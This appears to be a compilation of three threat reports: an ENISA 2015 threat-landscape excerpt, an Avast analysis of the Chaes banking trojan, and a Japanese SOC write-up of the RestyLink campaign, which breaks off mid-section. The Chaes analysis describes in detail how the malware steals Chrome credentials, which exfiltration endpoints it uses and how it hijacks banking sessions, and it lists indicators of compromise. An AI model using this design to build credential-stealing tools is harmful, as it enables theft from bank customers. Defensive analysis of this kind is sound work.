In the reporting period, malware remains the number one cyber-threat. In 2015, current advances in sophisticated malware show their potential: Equation Group uses hardware re-programming allowing for installation of malicious information (e.g. URLs to malware droppers) in the firmware of hard discs. This infection method is difficult to detect and disinfect, as it resists hard disc formatting and operating system re-installation. Hardware that has been infected with this method may need to be entirely replaced if used for sensitive tasks (e.g. governments). Albeit mobile malware may not have reached expected levels of growth, it continues being a serious concern. The total number of mobile malware grew 17% in Q2 2015, exceeding 8 million samples, while in 2015, the growth of new mobile malware samples was about 50% more than in the previous year. It is interesting that in the area of mobile malware, sharing methods are topped by manual sharing, followed by fake offerings and fake “Likes” that lead to malicious URLs (i.e. droppers). The Android platform holds the lion’s share with over 95% of mobile malware. Finally, one should mention the availability of tools that enable technically novices to create their own malware variants, thus further lowering the thresholds for the deployment of malware attacks.
In the reporting period we have assessed that:
- Rather than complexity, cyber-criminals are focusing on efficiency. In the reporting period we have seen the revival of infection techniques employed almost 20 years ago: Microsoft Office documents infected with Visual Basic macros and subsequently downloading malware. This method stands for the other extreme to highly sophisticated attacks encountered in 2015, such as Equation Group and Duqu 2.0, allegedly emanating from high capability threat agents.
- It is interesting that CONFICKER, a more than 7 years old work, still leads the PC infection statistics (37% of infections according to various reports). This is another impressive evidence that adversaries maintain “old good” methods as far as they continue paying back. The second most popular malware (Kilim) is based on social media misuse. This is evidence for the increasing use of social media as one of the main sources to lure users.
- Use of malicious URLs showed a sharp increase, compared to malicious e-mail attachments. This is due to the shift of infection tactics by using social engineering methods to craft spam/phishing attacks. Interestingly, the rate of malware transporting e-mails has been reduced.
- It is worth mentioning that the observed drop in mobile malware families is an indication that the level of innovation slows down, and/or that existing families provide a good basis for abuse of available devices – including mobile Internet of Things devices. Apparently, existing malware families suffice to create a significant growth of this threat.
- Malware continues increasing by approximately one million new samples per day. The total increase of malware samples till Q2 is 12%. By the end of 2014, the total number of available malware samples was estimated at 1.7 billion. Consequently, by the time of publication of this report, the overall number of malware would reach the 2 billion threshold.
- Current malware statistics provide the following information:
- Top 5 countries in which IT resources are infected by malware are: Bangladesh and Vietnam with approximately 60%, followed by Pakistan, Mongolia, and Georgia with approximately 58% each.
- Top countries hosting online malware resources are: Russia approximately 50%, US approximately 12%, The Netherlands approximately 8%, Germany approximately 5%, and France approximately 3%.
- Top countries with the risk of online infection are: Russia approximately 39%, Kazakhstan approximately 37%, Ukraine approximately 35%, Syria approximately 24%, and Belarus approximately 33%. It is interesting that the majority of those countries suffer some kind of crisis (political/military).
- Malware types detected in the reporting period are topped by potentially unwanted software (aka RiskTool) with approximately 44%, followed by AdWare with approximately 19%, Trojan at approximately 12%, Trojan.SMS 8%, and Trojan.Spy 7%. Followed by Backdoor, Ransomware, and Downloader/Dropper, all around 1%. While other reports mention slightly different findings such as Memory Dumper, Remote Access Tool (RAT), Downloader, Keylogger, Click Fraud/Malvertising, Backdoor, Persistence, and Botnet being in the top 8 list.
- Apps and consequently app stores remain the main target for “packaging” and spread of malware. Yet in 2015, we have seen successful attempts to overcome vetting processes of official app stores, led by a recent Apple store hack that has affected possibly thousands of apps, potentially used by hundreds of millions of users. Android app stores suffered similar incidents in the reporting period. A technique for patching existing software and introducing malicious code has become the main method to distribute Trojans.
**Observed current trend for this threat:** increasing
**Related threats:** Web based attacks, Web application attacks, Exploit kits, Spam, Phishing, Botnets, Data Breaches, Ransomware, Cyber espionage.
**Authoritative Resources 2015:** “Internet Security Threat Report 20” Symantec, “THREAT REPORT H2 2014” F-Secure, “Threats Report” August 2015 McAfee.
**Mitigation vector:** The mitigation vector for this threat contains the following elements:
- Patching of software and firmware to the latest version supported by the vendor.
- Whitelisting of applications to define legitimate software as authorised and block the execution of rogue software.
- Reliance on only end-point or server malware detection and mitigation is not sufficient. Malware detection should be implemented for all inbound/outbound channels, including network, web, and application systems in all used platforms (i.e. servers, network infrastructure, personal computers, and mobile devices).
- Establishment of interfaces of malware detection functions with security incident management in order to establish efficient response capabilities.
- Use of available tools on malware analysis as well as sharing of malware information and malware mitigation.
- Development of security policies that specify the processes followed in cases of infection. Involve all relevant roles, including executives, operations, and end-users.
- Update of malware mitigation controls regularly and adapt to new attack methods/vectors.
### Web based attacks
Web based attacks rely on the web as a means to detect exploits and finally install malware. In order to achieve this objective, both web servers and web clients are in the focus of cyber criminals. Web based attacks include malicious URLs, compromised web pages (aka watering hole attacks), drive-by attacks, web backdoors, and browser exploits. The core element of web based attacks remains malicious or bad URLs. These are URLs that have been compromised and/or contain malware or redirect to malware with the objective to infect end-user devices. With hundreds of millions of malicious URLs, this threat is the main instrument to deploy malicious code attacks and score at the second position of malicious online objects with approximately 32% (directly following AdWare). The continuous increase of web based attacks is an indication of changes in tactics regarding infection methods, in particular the increasing role of social scams.
In this reporting period we have assessed that:
- Changes in tactics for infection campaigns have been observed. In particular, sending malicious objects via e-mail attachments has declined in recent years. Instead, social (Facebook) scams, downloaders, redirects, and phishing are gaining in importance. It is expected that the use of these methods will continue growing in the future. The role of browser exploits as a basic web based attack vector becomes apparent from the fact that browser exploits top the list as payload of the most frequently accessed malicious URLs.
- An obfuscation method used within this threat is to misuse web shells of servers using SSL and install drive-by download malware on those machines. In this case, communication between compromised server and victim devices is encrypted, thus difficult to trace. Other methods used to obfuscate are to use chains of URL redirects that are often changed. These redirect chains lead to few high-end servers maintained by the cyber-criminals. Using permanently changing redirection URLs makes the discovery of their servers a difficult task. While 90% of bad URLs are used for spam, their characteristic is that they change within hours or minutes, making their filtering difficult.
- Another interesting development in the area of web based threat has been observed in 2015: malvertising campaigns use browser plugins that are bundled within “unwanted software” packages. In order to evade detection, some 4000 different names and 500 domains are being used for these plugins and used URLs. Moreover, the URL encoding scheme has been changed and normal web traffic has been used instead. This tactic has proven its efficiency by increases in the number of infections.
**Observed current trend for this threat:** increasing
**Related threats:** Malware, Exploit Kit, Phishing, Web application attacks, Spam, Botnet, Ransomware.
**Authoritative Resources 2015:** “Internet Security Threat Report 20” Symantec, “A Rising Tide: New Hacks Threaten Public technologies”, TrendLabs 2Q 2015 Security Roundup, Trend Micro, “CERT POLSKA REPORT 2014”, CERT.PL NASK, “WEBROOT 2015 THREAT BRIEF”, WEBROOT APRIL 2015.
**Mitigation vector:** The mitigation vector for this threat contains the following elements:
- Protection of end point from unpatched software containing known vulnerabilities.
- Avoidance of installation of malicious programs through potentially unwanted programs (PUPs).
- Monitoring of the behaviour of software to detect malicious objects, such as web browser plug-ins.
- Filtering web browser traffic to detect obfuscated web based attacks.
- Web address, web content, files, and applications reputation solutions, blacklisting, and filtering to establish risk-oriented categorization of web resources.
- Check application and web-browser settings in order to avoid unwanted behaviour based on default settings (especially for mobile devices).
### Web application attacks
Given the fact that applications are increasingly web-enabled, that is, are open to web access or are using web resources, attacks to applications from within the web have become a major attack vector. This attack vector is referred to as web application attacks. There is a variety of attack methods to web applications, and, as applications architectures encompass additional components, the window of opportunity for web application attacks increases. Hence, “traditional” web application attacks such as cross-site scripting and SQL-injection (SQLi) exposures that were reported to be at a decreasing rate in 2014, have increased in 2015. Similarly, manipulation of libraries used in Software Development Kits (SDK), abuse of transported data, data leakages, abuse of vulnerabilities, and evasion of vetting processes of app stores became main attack methods. All this makes web application attacks an important tool for malware injections but also for information leakage and data breaches. In the reporting period we have seen a few compromises in apps that have already passed vetting checks, while currently developed analysis techniques shed additional light on weaknesses that are “built in” in apps.
In the reporting period we have assessed that:
- The window of availability of web vulnerabilities in various sectors is quite large. In many sectors, a significant part of websites (ranging from 30-55%) seem to be always vulnerable, while the part that rarely contains vulnerabilities is rather low (ranging from 18-ca. 40%). The most exposed sector seems to be public administration, with a low number of vulnerabilities but a very large window of remediation. The sectors with the least vulnerabilities and most efficient vulnerability remediation are arts, entertainment, and education.
- It is worth mentioning that attack tactics differ among web applications found on web pages and mobile applications. While in mobile applications attacks are based on the quality of code, attacks on web pages abuse more often the environment of the application. On the other hand, abuse of errors (i.e. error code messages) is an attack method mainly surfaced in web applications. However, the general trends regarding attacks are similar in both web and mobile applications: abuse of APIs follows abuse of environment and abuse of security features. These statistics go along the lines of generally assessed vulnerability likelihood of web applications. Here, we find at the top positions: transport layer protection, information leakage, XSS, brute force, content sniffing, cross-site request forgery, and URL redirection.
- Application attacks are a significant part of DDoS attacks. In such DDoS attacks, SQL injection and local file inclusion (LFI) are the prevailing attack vectors (especially in HTTP), while attacks on Java play a very minor role (approximately 1%). Moreover, it is worth mentioning that SQL reflection attacks are an important attack vector in DDoS attacks.
- In the reporting period we have seen Shellshock - a threat that has appeared in 2014 - reaching the top position in web application attacks, especially the ones encountered over HTTPS. In total, Shellshock topped the web application attack statistics (approximately 40%), followed by SQLi (approximately 28%) and LFI (approximately 18%).
- The US almost monopolizes the countries targeted by web application attacks by “attracting” approximately 80% of attacks worldwide. Given the fact that the US is followed by Brazil (7%) and China (4%), the rest of the world shares approximately 9% of the volume of DDoS attacks on web applications. In particular, these statistics show that for European countries this threat is of very low relevance.
- Yet quite known in the security area, it is interesting to refer to evidence found in reports about the efficiency of vulnerability remediation in accordance with the roles accountable for possible incidents. The biggest vulnerability remediation rates have been achieved when the board of directors and executive management have been accountable for breaches. Interestingly, when breach accountability was with the security department, the lowest remediation rates have been achieved. It is worth noticing that the largest remediation rates of vulnerabilities are achieved when compliance is the driver, while vulnerability remediation due to a risk-oriented posture is delivering the lowest remediation rates.
**Observed current trend for this threat:** increasing
**Related threats:** Denial of Service, Web based attacks, Information leakage, Malware, Botnets, Data breaches.
**Authoritative Resources 2015:** “Website Security Statistics Report 2015” WhiteHat SECURITY, “Akamai’s [State of the Internet] / Security Q2 2015 report”, “2015 Web Application Attack Report (WAAR)”, IMPREVA, “Cyber Risk Report 2015”, HR Security Research.
**Mitigation vector:** The mitigation vector for this threat contains the following elements:
- Formulation of security policies for the development and operation of applications.
- Installation of Web application firewalling (WAF).
- Performance of traffic filtering to all relevant channels (web, network, mail).
- Performance of input verification.
- Deployment of bandwidth management.
- Performance of regular web application vulnerability scanning and intrusion detection.
### Botnets
Botnets are one of the most important infrastructure components for the deployment of various types of cyber-attacks. Botnets consist of command and control (C&C, or C2) servers and a large number of infected devices. They are used to perform distributed denial of service (DDoS) attacks, send spam, and distribute malware. The evolution of botnets has led to the emergence of more sophisticated and resilient networks that are harder to detect and dismantle.
**Observed current trend for this threat:** increasing
**Related threats:** Malware, Web based attacks, Phishing, Ransomware.
**Authoritative Resources 2015:** “Internet Security Threat Report 20” Symantec, “Threat Report” August 2015 McAfee.
**Mitigation vector:** The mitigation vector for this threat contains the following elements:
- Implementation of network segmentation to limit the spread of botnets.
- Regular updates and patching of software to close vulnerabilities.
- Use of intrusion detection systems to monitor for unusual traffic patterns.
- Employing rate limiting and traffic shaping to mitigate DDoS attacks.
- Educating users about phishing and social engineering tactics to reduce the risk of infection.
This concludes the summary of the ENISA Threat Landscape 2015. |
# Chasing Chaes Kill Chain
**January 25, 2022**
by Anh Ho and Igor Morgenstern
## Introduction
Chaes is a banking trojan that operates solely in Brazil and was first reported in November 2020 by Cybereason. In Q4 2021, Avast observed an increase in Chaes’ activities, with infection attempts detected from more than 66,605 of our Brazilian customers. In our investigation, we found the malware is distributed through many compromised websites, including highly credible sites. Overall, Avast has found Chaes’ artifacts in 800+ websites. More than 700 of them contain Brazilian TLDs. All compromised websites are WordPress sites, which leads us to speculate that the attack vector could be exploitation of vulnerabilities in WordPress CMS. However, we are unable to perform forensics to confirm this theory. We immediately shared our findings with the Brazilian CERT (BR Cert) with the hope of preventing Chaes from spreading. By the time of this publication, Chaes’ artifacts still remain on some of the websites we observed.
Chaes is characterized by the multiple-stage delivery that utilizes scripting frameworks such as JScript, Python, and NodeJS, binaries written in Delphi, and malicious Google Chrome extensions. The ultimate goal of Chaes is to steal credentials stored in Chrome and intercept logins of popular banking websites in Brazil. In this posting, we present the results of our analysis of the Chaes samples we found in Q4 2021. Future updates on the latest campaign will be shared via Twitter or a later post.
## Infection Scheme
When someone reaches a website compromised by Chaes, they are presented with a pop-up asking users to install the Java Runtime application. If the user follows the instructions, they will download a malicious installer that poses as a legitimate Java Installer. The fake installer closely imitates the legitimate Brazilian Portuguese Java installer in terms of appearance and behavior. Once the installation begins, the user’s system is compromised. After a few minutes, all web credentials, history, and user profiles stored by Chrome will be sent to attackers. Users may experience Google Chrome getting closed and restarted automatically. This indicates any future interactions with the following Brazilian banking websites will be monitored and intercepted:
- mercadobitcoin.com.br
- mercadopago.com.br
- mercadolivre.com.br
- lojaintegrada.com.br
## Technical Analysis
### Infected Websites
Upon inspecting the HTML code of the compromised websites, we found the malicious script inserted as shown below:
In this case, the V=28 likely represents the version number. We also found a URL with other versions as well:
- https://is[.]gd/EnjN1x?V=31
- https://is[.]gd/oYk9ielu?D=30
- https://is[.]gd/Lg5g13?V=29
- https://is[.]gd/WRxGba?V=27
- https://is[.]gd/3d5eWS?V=26
The script creates an HTML element that stays on top of the page with “Java Runtime Download” lure. This element references an image from a suspicious URL:
- https://sys-dmt[.]net/index.php?D\
- https://dmt-sys[.]net/
and an on-click download of a Microsoft Installer from:
- https://bkwot3kuf[.]com/wL38HvYBiOl/index.php?get
- https://f84f305c[.]com/aL39HvYB4/index.php?get
- https://dragaobrasileiro[.]com.br/wp-content/themes/getCorsFile.php
### Microsoft Installer
The flowchart below shows the infection chain following the malicious installer execution.
Inside the MSI package, the installer contains 3 malicious JS files: install.js, sched.js, and sucesso.js renamed to Binary._ as shown above. Each of them handles a different task, but all are capable of reporting the progress to the specified CnC.
#### install.js
The purpose of this script is to download and execute a setup script called runScript that will prepare the proper Python environment for the next stage loader. After making an HTTP request to a hardcoded domain, the obfuscated runScript is downloaded and then executed to perform the following tasks:
- Check for Internet connection (using google.com)
- Create %APPDATA%\\<pseudo-random folder name>\\extensions folder
- Download password-protected archives such as python32.rar/python64.rar and unrar.exe to that extensions folder
- Write the path of the newly created extensions folder to HKEY_CURRENT_USER\\Software\\Python\\Config\\Path
- Perform some basic system profiling
- Execute unrar.exe command with the password specified as an argument to unpack python32.rar/python64.rar
- Connect to C2 and download 32bit and 64bit __init__.py scripts along with 2 encrypted payloads. Each payload has a pseudo-random name.
#### sched.js
The purpose of this script is to set up persistence and guarantee the execution of __init__.py downloaded by runScript from the previous step. sched.js accomplishes this by creating a Scheduled Task as its primary means and creating a Startup link as its backup means. Ultimately, they are both able to maintain the after-reboot execution of the following command:
...\\<python32|python64>\\pythonw.exe __init__.py /m
#### sucesso.js
This script reports to CnC that the initial installation on the victim’s computer has succeeded and is ready for the next stage.
### Python Loader Chain
The Scheduled Task created by sched.js eventually starts __init__.py which initiates the Python in-memory loading chain. The loading chain involves many layers of Python scripts, JS scripts, shellcode, Delphi DLLs, and .NET PE which we will break down in this section. Impressively, the final payload is executed within __init__.py process (PID 2416 and 4160) as shown below:
The __init__.py xor decrypts and decompresses the pseudo-random filename downloaded by runScript.js into another Python script. The new Python script contains 2 embedded payloads: image and shellcode in encrypted form. Image represents the Chaes loader module called chaes_vy.dll while shellcode is an in-memory PE loader. We found this particular loader shellcode reappearing many times in the later stages of Chaes. Running the shellcode using CreateThread API with proper parameters pointing to chaes_vy.dll, the Python script eventually loads chaes_vy.dll into memory.
### Chaes_vy.dll
Chaes_vy is a Delphi module that loads an embedded .NET executable that in turn runs 2 JavaScripts: script.js and engine.js. These two scripts hold the core functionalities of the Chaes_vy module.
#### script.js
This script acts as the interface between .NET framework and JScript framework, providing the necessary utilities to execute any scripts and modules that engine.js downloads in the future. By default, script.js will try to retrieve the paths to payloads specified in the argument of __init__.py. If nothing is found it will execute engine.js.
#### engine.js
This script employs 2 methods of retrieving a JS payload: getBSCode() and getDWCode() both are called every 6 minutes. GetBSCode is the primary method, also the only one we are able to observe serving payload. The encrypted payload is hidden as commented-out code inside the HTML page of a Blogspot. Without being infected by Chaes, this site is completely harmless.
On the other hand, when executed, engine.js will parse the string starting from <div id="rss-feed"> which is the marker of the encrypted payload. After decrypting this text using AES with a hardcoded key, instructions.js is retrieved and executed. This script is in charge of downloading and executing Chaes’ malicious Chrome extensions. More info about instructions.js is provided in the next section. getDWCode is the secondary method of retrieving instruction.js. It employs a DGA approach to find an active domain weekly when getBSCode fails. Since we are not able to observe this method being used successfully in the wild, we have no analysis to present here. However, you can check out the full algorithm posted on our Github.
### Instructions.js
Instructions.js is the last stage of the delivery chain. Nothing up to this point has gained the attacker any true benefits. It is the job of instructions.js to download and install all the malicious extensions that will take advantage of the Chrome browser and harm the infected users. The address of all payloads are hardcoded.
The extensions are separated into password-protected archives vs encrypted binaries. The non-compressed payloads are PE files that can be run independently while compressed ones add necessary NodeJS packages for the extension to run. Below is the example of chremows63_64 archive contents:
All the binaries with dll_filename argument such as chromeows2.bin are encrypted, including the ones inside the RAR archive. The decryption algorithm is located inside script.js as we mentioned in the previous section. To decrypt and run each binary, Chaes needs to call __init__.py with the file path specified as an argument.
The extension installation can be simplified into the following steps:
- An HTTP Request (aws/isChremoReset.php) is sent to check if Google Chrome from a particular uid has been hooked. If not, Chrome and NodeJS will be closed.
- More information about uid in the “Online” section below.
- The download request is constructed based on 3 scenarios: 32bit, 64bit, and no Google Chrome found. Each scenario will contain suitable versions of the extensions and their download links.
- The extension is downloaded. The compressed payload will be unpacked properly.
- A hosts file is created for the newly downloaded module. Inside the file is the CnC randomly picked from the following pool:
Each extension will use the address specified in hosts for CnC communication.
- Launch each extension through python.exe __init__.py with proper arguments.
### Online
online.dll is a short-lived Delphi module that is executed by instruction.js before other modules are deployed. Its main purpose is to fingerprint the victim by generating a uid which is a concatenation of drive C: VolumeSerialNumber, UserName, and Computername. The uid is written to a register key SOFTWARE\\Python\\Config\\uid before being included inside the beaconing message. This registry key is also where instruction.js previously gets the uid asking CnC if the victim’s Chrome has been hooked. The first time instruction.js gets launched this registry has not been created yet, therefore the Chrome process is always killed.
online.dll retrieves the CnC server specified in the hosts file and performs the beaconing request /aws/newClient.php, sending the victim’s uid and basic system information.
### Mtps4 (MultiTela Pascal)
Module mtps4 is a backdoor written in Delphi. Its main purpose is to connect to CnC and wait for a responding PascalScript to execute. Similar to the previous module, CnC is retrieved from the hosts file. Mtps4 sends a POST request to the server with a hardcoded User-Agent containing uid and command type. It currently supports 2 commands: start and reset. If the reset command is responded with ‘(* SCRIPT OK *)’, it will terminate the process.
Start command is a bit more interesting. As a reply to this command, it expects to receive a PascalScript code containing a comment ‘(* SCRIPT OK *)’. mtps4 is compiled with https://github.com/remobjects/pascalscript to support PascalScript. Before running, the script they create a window that copies the screen and covers the entire desktop to avoid raising suspicion when performing malicious tasks on the system. Unfortunately during the investigation, we couldn’t get hold of the actual script from the CnC.
### Chrolog (ChromeLog)
Chrolog is a Google Chrome Password Stealer written in Delphi. Although it is listed as an extension, Chrolog is an independent tool that extracts user personal data out of the Chrome database and exfiltrates them through HTTP. The CnC server is also retrieved from the hosts file previously created by instruction.js.
#### HTTP Request Data Exfiltration
- /aws/newUpload.php: Cookies, Web Data, and Login Data (encrypted)
- /aws/newMasterKey.php: Chrome Master Key used to decrypt Login Data
- /aws/newProfileImage.php: Profile Image URL collected from last_downloaded_gaia_picture_url_with_size attribute inside Local State
- /aws/newPersonalData.php: Username, fullname, gaia_name
- /aws/bulkNewLogin.php: All Login Data is decrypted and added to local.sql database. Then the corresponding section of the database is exfiltrated
- /aws/bulkNewUrl.php: History is added to local.sql database. Then the corresponding section of the database is exfiltrated
- /aws/bulkNewAdditionalData.php: Web Data is written to local.sql database. Then the corresponding section of the database is exfiltrated
- /aws/bulkNewProcess.php: All running processes are collected and written to local.sql database. Then the corresponding section of the database is exfiltrated
(Cookies, Web Data, Login Data, History, and Local State is standardly located at %APPDATA%\\Local\\Google\\Chrome\\User Data\\Default\\)
### Chronodx (Chrome Noder)
chrolog.rar contains NodeJS packages and chronodx.bin aka Chronod2.dll. The chronodx extension package can be separated into 2 parts: a loader called Chronod2.dll and a JavaScript banking trojan called index_chronodx2.js. First, Chronod2.dll performs an HTTP request /dsa/chronod/index_chronodx2.js to retrieve index_chronodx2.js. If successful, Chronod2.dll will run silently in the background until it detects the Chrome browser opened by the user. When that happens, it will close the browser and reopen its own instance of Chrome along with index_chronodx2.js being run from the node.exe process.
Index_chronodx2.js utilizes puppeteer-core, a NodeJS framework that provides APIs to control Chrome browser, for malicious purposes. Index_chronodx2.js implements many features to intercept popular banking websites in Brazil including:
- bancobrasil.com.br/aapf
- bancodobrasil.com.br/aapf
- bb.com.br/aapf
- mercadopago.com/…/card_tokens/
- mercadopago.com/enter-pass/
- mercadolivre.com/enter-pass/
- lojaintegrada.com.br/public/login/
- mercadobitcoin.com.br
Upon visiting any of the above websites, index_chronodx2.js will start collecting the victim’s banking info and send it to the attacker through a set of HTTP commands. The CnC server is stored in the hosts file, but when it is not found in the system, a hardcoded backup CnC will be used instead:
#### C2 Command Meaning
- /aws/newQRMPClient.php: Supposedly sending user info to the attacker when a QR code scan is found on banking websites listed above, but this feature is currently commented out
- /aws/newContaBBPF.php: Sending user banking info when Bancodobrasil banking sites are intercepted
- /aws/newContaCef.php: Sending user banking info when Caixa banking sites are intercepted
- /aws/newCaixaAcesso.php: Telling the attacker that a victim has accessed Caixa banking page
- /aws/newMercadoCartao.php: Sending user banking info when Mercado banking sites are intercepted
- /aws/newExtraLogin.php: Send user credentials when logging in to one of the listed pages
### Chremows (Chrome WebSocket)
Chremows is another extension that uses NodeJS and puppeteer-core, and is similar to the functionality of node.js mentioned in the Cybereason 2020 report. Chremows targets two platforms Mercado Livre (mercadolivre.com.br) and Mercado Pago (mercadopago.com.br) both belong to an online marketplace company called Mercado Libre, Inc.
Sharing the same structure of chronodx module, chremows contains a loader, CreateChrome64.dll that downloads a JavaScript-based banking trojan called index.js. CreateChrome64.dll will automatically update index.js when a newer version is found. Unlike chronodx, chremows executes index.js immediately after download and doesn’t require Google Chrome to be opened. In a separate thread, CreateChrome64.dll loads an embedded module ModHooksCreateWindow64.dll that Cybereason has analyzed in their 2020 report. Overall, this module helps increase the capabilities that chremows has on Google Chrome, allowing the attacker to perform “active” tasks such as sending keypresses/mouse clicks to Chrome, or opening designated pages.
Finally, CreateChrome64.dll copies Chrome’s Local State file to the same location of index.js with the name local.json. Index.js uses local.json to help the attacker identify the victim.
### Hardcoded CnC
Index.js employs two methods of communicating with the attacker: through WebSocket and through HTTP. Each method has its own set of C2 servers. WebSocket is used to receive commands and send client-related messages. On the other hand, HTTP is for exfiltrating financial data such as banking credentials and account information to the attacker.
#### List of known Index.js WebSocket commands
- welcome:: Send uid and information extract from local.json to the attacker
- control:: The attacker establishes control over Google Chrome
- uncontrol:: The attacker removes control over Google Chrome
- ping:: Check if the connection to the client is OK
- command:: Send command such as keystroke, mouseclick
- openbrowser:: Open Chrome window with minimal size to stay hidden
If the user stays connected to the WebSocket C2 server, every six minutes it automatically goes to the targeted Mercado Pago and Mercado Livre pages and performs malicious tasks. During this routine, the attacker loses direct control of the browser. The target pages are banking, credit, and merchant pages that require users’ login. If the user has not logged out of these pages, the attacker will start to collect data and exfiltrate them through the following HTTP requests:
- /aws/newMercadoCredito.php
- /aws/newMercadoPago.php
## Summary
Chaes exploits many websites containing CMS WordPress to serve malicious installers. Among them, there are a few notable websites for which we tried our best to notify BR Cert. The malicious installer communicates with remote servers to download the Python framework and malicious Python scripts which initiate the next stage of the infection chain. In the final stage, malicious Google Chrome extensions are downloaded to disk and loaded within the Python process. The Google Chrome extensions are able to steal users’ credentials stored in Chrome and collect users’ banking information from popular banking websites.
## IOCs
### Network
- is[.]gd/EnjN1x?V=31
- is[.]gd/oYk9ielu?D=30
- is[.]gd/Lg5g13?V=29
- tiny[.]one/96czm3nk?v=28
- is[.]gd/WRxGba?V=27
- is[.]gd/3d5eWS?V=26
### MSI Download URLs
- dragaobrasileiro[.]com.br/wp-content/themes/getcorsfile.php?
- chopeecia[.]com.br/D4d0EMeUm7/index.php?install
- bodnershapiro[.]com/blog/wp-content/themes/twentyten/p.php?
- dmt-sys[.]net/index.php?
- up-dmt[.]net/index.php?
- sys-dmt[.]net/index.php?
- x-demeter[.]com/index.php?
- walmirlima[.]com.br/wp-content/themes/epico/proxy.php?
- atlas[.]med.br/wp-content/themes/twentysixteen/proxy.php?
- apoiodesign[.]com/language/overrides/p.php?
### CnC Servers
- 200[.]234.195.91
- f84f305c[.]com
- bkwot3kuf[.]com
- comercialss[.]com
- awsvirtual[.]blogspot.com
- cliq-no[.]link
- 108[.]166.219.43
- 176[.]123.8.149
- 176[.]123.3.100
- 198[.]23.153.130
- 191[.]252.110.241
- 191[.]252.110.75
### SHA256 Hashes
| Filename | Hash |
|---------------|------|
| MSI | f20d0ffd1164026e1be61d19459e7b17ff420676d4c8083dd41ba5d04b97a08c |
| installer | 069b11b9b1b20828cfb575065a3d7e0b6d00cd1af10c85c5d6c36caea5e000b7 |
| | 1836f3fa3172f4c5dbb15adad7736573b4c77976049259cb919e3f0bc7c4d5ea |
| | 02831471e4bf9ef18c46ed4129d658c8ce5b16a97f28228ab78341b31dbef3df |
| | a3bcbf9ea2466f422481deb6cb1d5f69d00a026f9f94d6997dd9a17a4190e3aa |
| | 62053aeb3fc73ef0940e4e30056f6c42b737027a7c5677f9dbafc5c4de3590bd |
| | e56a321cae9b36179e0da52678d95be3d5c7bde2a7863e855e331aea991d51b9 |
| | 7a819b168ce1694395a33f60a26e3b799f3788a06b816cc3ebc5c9d80c70326b |
| __init__.py | 70135c02a4d772015c2fce185772356502e4deab5689e45b95711fe1b8b534ce |
| | 6e6a44ca955d013ff01929e0fa94f956b7e3bac557babcd7324f3062491755e2 |
| | 0b5646f45f0fad3737f231f8c50f4ed1a113eb533997987219f7eea25f69d93f |
| | abc071831551af554149342ad266cc43569635fb9ea47c0f632caa5271cdf32 |
| runScript.js | bd4f39daf16ca4fc602e9d8d9580cbc0bb617daa26c8106bff306d3773ba1b74 |
| engine.js | c22b3e788166090c363637df94478176e741d9fa4667cb2a448599f4b7f03c7c | |
# Operation RestyLink: 日本企業を狙った標的型攻撃キャンペーン
Ryu Hiyoshi
本日の記事は、SOC アナリスト 小池 倫太郎の記事です。
---
2022年4月中旬から日本企業を狙った標的型攻撃キャンペーンを複数の組織で観測しています。この攻撃キャンペーンは2022年3月にも活動していたと考えられ、また2021年10月にも関連した攻撃が行われていた可能性があります。このことから、短期・単発的な攻撃キャンペーンではなく、今後も攻撃が継続する可能性があります。本稿では、この攻撃キャンペーンについて詳細な解析を行い、その攻撃主体の帰属について検討します。
## 攻撃概要
2022年4月中旬に観測した攻撃の流れは以下のとおりです。スピアフィッシングメールに書かれたURLにアクセスすると、攻撃者の管理するサーバからZIPファイルがダウンロードされます。ユーザがZIPファイル内のLNKファイルを実行すると、Windowsコマンドを使用し、攻撃者サーバからDOTファイルをダウンロードし、Microsoft Wordのスタートアップディレクトリへ配置します。その際、デコイとなるPDFファイルがユーザに表示されます。次回以降、ユーザがWordファイルを開くと、スタートアップディレクトリに置かれたDOTファイルがロードされ、仕込まれたマクロが発火します。マクロは更に攻撃者サーバからDOTファイルをダウンロードし、実行しますが、私達の調査時点ではこのDOTファイルの入手ができませんでした。
## 詳細解析
### LNKファイル
LNKファイルのアイコンはPDFファイルになっていますが、実際にはScriptRunner.exeを使用し、大きく2つの処理が行われます。
1. デコイのPDFファイルを表示
2. DOTファイルをダウンロードし、Microsoft Wordのスタートアップディレクトリへ配置
表示されるデコイのPDFファイルは2種類ありますが、ともに日韓関係に関するものでした。黒塗りしているところには実在する人物の名前が書かれていました。
### DOTファイル
ユーザがWordファイルを開くと、スタートアップディレクトリに配置されたDOTファイルが読み込まれます。DOTファイルには以下のようなマクロが仕込まれていました。マクロは更にDOTファイルを読み込み、実行します。この際、ファイル名にユーザ名を含んでおり、攻撃者が被害ユーザの環境を把握していたことが分かります。調査時点で、追加のDOTファイルは入手できませんでした。
## 関連した攻撃
### 2022年4月下旬の事例
2022年4月下旬、今回の攻撃キャンペーンと同一のインフラからISOファイルがダウンロードできたことを確認しています。攻撃の流れは以下のようになっています。そのISOファイルにはデコイファイルの他に、正規のMicrosoft WordのEXEファイルと、悪意のあるDLLファイルが含まれていました。DLLファイルはEXEファイルを実行時にサイドロードされ、実行されます。DLLファイルはUPXでパックされていますが、Golangで書かれたダウンローダでした。DLLファイルはサーバ上からCobalt StrikeのStagerをダウンロードし、実行します。攻撃者はCobalt Strikeを使用して様々なコマンドを実行し、環境の調査などを行いました。実行されたCobalt Strike StagerのConfigは以下のとおりです。
### 2022年4月上旬の事例
2022年4月上旬、日本企業において、本攻撃キャンペーンのインフラ(IPアドレス)に対するアクセスを確認しました。詳細は不明ですが、標的・時期・インフラの重複から、同一の攻撃キャンペーンである可能性が高いと考えられます。
### 2022年3月の事例
VirusTotal上には今回の攻撃と極めて類似したLNKファイルが2022年3月時点で日本から投稿されています。2022年3月の検体はScriptRunner.exeではなくcmd.exeを使用していますが、実行されるコマンドや攻撃インフラは重複しており、これらは高い確度で同一の攻撃キャンペーンであると言えます。調査時点で1段階目のDOTファイルは入手できませんでした。デコイとして表示されるPDFファイルは以下のように、東アジアにおける日本の外交に関する文書でした。
### 2022年1月の事例
2022年4月下旬の事例で使用されたGolang製のダウンローダは奇妙なUser-Agentを使用し、/EventsというパスからCobalt Strike Stagerをダウンロードします。このUser-AgentはロシアのYandex Browserのもので、日本では一般的な値ではありません。これと同様の特徴を持つサンプルが2022年1月に日本からVirusTotalへ投稿されました。インフラも近く、本攻撃キャンペーンと関連している可能性があります。また、異なるサブドメインに紐づくIPアドレスを調査した結果、オープンソースのC2フレームワークであるCovenantの痕跡を発見しました。攻撃者はCobalt Strike以外にも、Covenantを使用していた可能性があります。
### 2021年11月の事例
